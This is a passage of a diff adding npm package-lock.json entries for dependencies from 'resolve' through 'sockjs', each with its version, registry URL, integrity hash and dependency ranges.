"sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" + }, + "node_modules/resolve": { + "version": "1.22.4", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.4.tgz", + "integrity": "sha512-PXNdCiPqDqeUou+w1C2eTQbNfxKSuMxqTCuvlmmMsk1NWHL5fRrhY6Pl0qEYYc6+QqGClco1Qj8XnjPego4wfg==", + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "engines": { + "node": ">=4" + } + }, + "node_modules/resolve-pathname": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-3.0.0.tgz", + "integrity": "sha512-C7rARubxI8bXFNB/hqcp/4iUeIXJhJZvFPFPiSPRnhU5UPxzMFIl+2E6yY6c4k9giDJAhtV+enfA+G89N6Csng==" + }, + "node_modules/responselike": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", + "integrity": "sha512-/Fpe5guzJk1gPqdJLJR5u7eG/gNY4nImjbRDaVWVMRhne55TCmj2i9Q+54PBRfatRC8v/rIiv9BN0pMd9OV5EQ==", + "dependencies": { + "lowercase-keys": "^1.0.0" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rtl-detect": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/rtl-detect/-/rtl-detect-1.0.4.tgz", + "integrity": "sha512-EBR4I2VDSSYr7PkBmFy04uhycIpDKp+21p/jARYXlCSjQksTBQcJ0HFUPOO79EPPH5JS6VAhiIQbycf0O3JAxQ==" + }, + "node_modules/rtlcss": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/rtlcss/-/rtlcss-3.5.0.tgz", + "integrity": "sha512-wzgMaMFHQTnyi9YOwsx9LjOxYXJPzS8sYnFaKm6R5ysvTkwzHiB0vxnbHwchHQT65PTdBjDG21/kQBWI7q9O7A==", + "dependencies": { + "find-up": "^5.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.3.11", + "strip-json-comments": "^3.1.1" + }, + "bin": { + "rtlcss": "bin/rtlcss.js" + } + }, + "node_modules/rtlcss/node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/rtlcss/node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/rtlcss/node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/rtlcss/node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/rxjs": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.1.tgz", + "integrity": "sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==", + "dependencies": { + "tslib": "^2.1.0" + } + }, + "node_modules/safe-array-concat": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.0.0.tgz", + "integrity": "sha512-9dVEFruWIsnie89yym+xWTAYASdpw3CJV7Li/6zBewGf9z2i1j31rP6jnY0pHEO4QZh6N0K11bFjWmdR8UGdPQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.0", + "has-symbols": "^1.0.3", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-array-concat/node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/safe-regex": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-2.1.1.tgz", + "integrity": "sha512-rx+x8AMzKb5Q5lQ95Zoi6ZbJqwCLkqi3XuJXp5P3rT8OEc6sZCJG5AE5dU3lsgRr/F4Bs31jSlVN+j5KrsGu9A==", + "dev": true, + "dependencies": { + "regexp-tree": "~0.1.1" + } + }, + "node_modules/safe-regex-test": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.0.tgz", + "integrity": "sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "is-regex": "^1.1.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/sass": { + "version": "1.66.1", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.66.1.tgz", + "integrity": "sha512-50c+zTsZOJVgFfTgwwEzkjA3/QACgdNsKueWPyAR0mRINIvLAStVQBbPg14iuqEQ74NPDbXzJARJ/O4SI1zftA==", + "dependencies": { + "chokidar": ">=3.0.0 <4.0.0", + "immutable": "^4.0.0", + "source-map-js": ">=0.6.2 <2.0.0" + }, + "bin": { + "sass": "sass.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/sass-loader": { + "version": "13.3.2", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-13.3.2.tgz", + "integrity": "sha512-CQbKl57kdEv+KDLquhC+gE3pXt74LEAzm+tzywcA0/aHZuub8wTErbjAoNI57rPUWRYRNC5WUnNl8eGJNbDdwg==", + "dev": true, + "dependencies": { + "neo-async": "^2.6.2" + }, + "engines": { + "node": ">= 14.15.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "fibers": ">= 3.1.0", + "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0 || ^9.0.0", + "sass": "^1.3.0", + "sass-embedded": "*", + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "fibers": { + "optional": true + }, + "node-sass": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + } + } + }, + "node_modules/sax": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==" + }, + "node_modules/scheduler": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.20.2.tgz", + "integrity": "sha512-2eWfGgAqqWFGqtdMmcL5zCMK1U8KlXv8SQFGglL3CEtd0aDVDWgeF/YoCmvln55m5zSk3J/20hTaSBeSObsQDQ==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1" + } + }, + "node_modules/schema-utils": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "dependencies": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/search-insights": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/search-insights/-/search-insights-2.7.0.tgz", + "integrity": "sha512-GLbVaGgzYEKMvuJbHRhLi1qoBFnjXZGZ6l4LxOYPCp4lI2jDRB3jPU9/XNhMwv6kvnA9slTreq6pvK+b3o3aqg==", + "peer": true, + "engines": { + "node": ">=8.16.0" + } + }, + "node_modules/section-matter": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/section-matter/-/section-matter-1.0.0.tgz", + "integrity": "sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==", + "dependencies": { + "extend-shallow": "^2.0.1", + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/select-hose": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==" + }, + "node_modules/selfsigned": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-2.1.1.tgz", + "integrity": "sha512-GSL3aowiF7wa/WtSFwnUrludWFoNhftq8bUkH9pkzjpN2XSPOAYEgg6e0sS9s0rZwgJzJiQRPU18A6clnoW5wQ==", + "dependencies": { + "node-forge": "^1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver-diff": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/semver-diff/-/semver-diff-3.1.1.tgz", + "integrity": "sha512-GX0Ix/CJcHyB8c4ykpHGIAvLyOwOobtM/8d+TQkAd81/bEjgPHrfba41Vpesr7jX/t8Uh+R3EX9eAS5be+jQYg==", + "dependencies": { + "semver": "^6.3.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/semver-diff/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/semver/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/send": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", + "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "node_modules/send/node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serialize-javascript": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.1.tgz", + "integrity": "sha512-owoXEFjWRllis8/M1Q+Cw5k8ZH40e3zhp/ovX+Xr/vi1qj6QesbyXXViFbpNvWvPNAD62SutwEXavefrLJWj7w==", + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/serve-handler": { + "version": "6.1.5", + "resolved": "https://registry.npmjs.org/serve-handler/-/serve-handler-6.1.5.tgz", + "integrity": "sha512-ijPFle6Hwe8zfmBxJdE+5fta53fdIY0lHISJvuikXB3VYFafRjMRpOffSPvCYsbKyBA7pvy9oYr/BT1O3EArlg==", + "dependencies": { + "bytes": "3.0.0", + "content-disposition": "0.5.2", + "fast-url-parser": "1.1.3", + "mime-types": "2.1.18", + "minimatch": "3.1.2", + "path-is-inside": "1.0.2", + "path-to-regexp": "2.2.1", + "range-parser": "1.2.0" + } + }, + "node_modules/serve-handler/node_modules/content-disposition": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.2.tgz", + "integrity": "sha512-kRGRZw3bLlFISDBgwTSA1TMBFN6J6GWDeubmDE3AF+3+yXL8hTWv8r5rkLbqYXY4RjPk/EzHnClI3zQf1cFmHA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-handler/node_modules/path-to-regexp": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-2.2.1.tgz", + "integrity": "sha512-gu9bD6Ta5bwGrrU8muHzVOBFFREpp2iRkVfhBJahwJ6p6Xw20SjT0MxLnwkjOibQmGSYhiUnf2FLe7k+jcFmGQ==" + }, + "node_modules/serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==", + "dependencies": { + "accepts": "~1.3.4", + "batch": "0.6.1", + "debug": "2.6.9", + "escape-html": "~1.0.3", + "http-errors": "~1.6.2", + "mime-types": "~2.1.17", + "parseurl": "~1.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/serve-index/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/serve-index/node_modules/depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/http-errors": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==", + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": ">= 1.4.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==" + }, + "node_modules/serve-index/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/serve-index/node_modules/setprototypeof": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" + }, + "node_modules/serve-index/node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-static": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", + "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", + "dependencies": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.18.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==" + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" + }, + "node_modules/shallow-clone": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", + "dependencies": { + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shallowequal": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/shallowequal/-/shallowequal-1.1.0.tgz", + "integrity": "sha512-y0m1JoUZSlPAjXVtPPW70aZWfIL/dSP7AFkRnniLCrK/8MDKog3TySTBmckD+RObVxH0v4Tox67+F14PdED2oQ==" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "engines": { + "node": ">=8" + } + }, + "node_modules/shell-quote": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.1.tgz", + "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/shelljs": { + "version": "0.8.5", + "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.8.5.tgz", + "integrity": "sha512-TiwcRcrkhHvbrZbnRcFYMLl30Dfov3HKqzp5tO5b4pt6G/SezKcYhmDg15zXVBswHmctSAQKznqNW2LO5tTDow==", + "dependencies": { + "glob": "^7.0.0", + "interpret": "^1.0.0", + "rechoir": "^0.6.2" + }, + "bin": { + "shjs": "bin/shjs" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "dependencies": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==" + }, + "node_modules/sirv": { + "version": "1.0.19", + "resolved": "https://registry.npmjs.org/sirv/-/sirv-1.0.19.tgz", + "integrity": "sha512-JuLThK3TnZG1TAKDwNIqNq6QA2afLOCcm+iE8D1Kj3GA40pSPsxQjjJl0J8X3tsR7T+CP1GavpzLwYkgVLWrZQ==", + "dependencies": { + "@polka/url": "^1.0.0-next.20", + "mrmime": "^1.0.0", + "totalist": "^1.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==" + }, + "node_modules/sitemap": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/sitemap/-/sitemap-7.1.1.tgz", + "integrity": "sha512-mK3aFtjz4VdJN0igpIJrinf3EO8U8mxOPsTBzSsy06UtjZQJ3YY3o3Xa7zSc5nMqcMrRwlChHZ18Kxg0caiPBg==", + "dependencies": { + "@types/node": "^17.0.5", + "@types/sax": "^1.2.1", + "arg": "^5.0.0", + "sax": "^1.2.4" + }, + "bin": { + "sitemap": "dist/cli.js" + }, + "engines": { + "node": ">=12.0.0", + "npm": ">=5.6.0" + } + }, + "node_modules/sitemap/node_modules/@types/node": { + "version": "17.0.45", + "resolved": "https://registry.npmjs.org/@types/node/-/node-17.0.45.tgz", + "integrity": "sha512-w+tIMs3rq2afQdsPJlODhoUEKzFP1ayaoyl1CcnwtIlsVe7K7bA1NGm4s3PraqTLlXnbIN84zuBlxBWo1u9BLw==" + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/sockjs": { + "version": "0.3.24", + "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz", + "integrity": 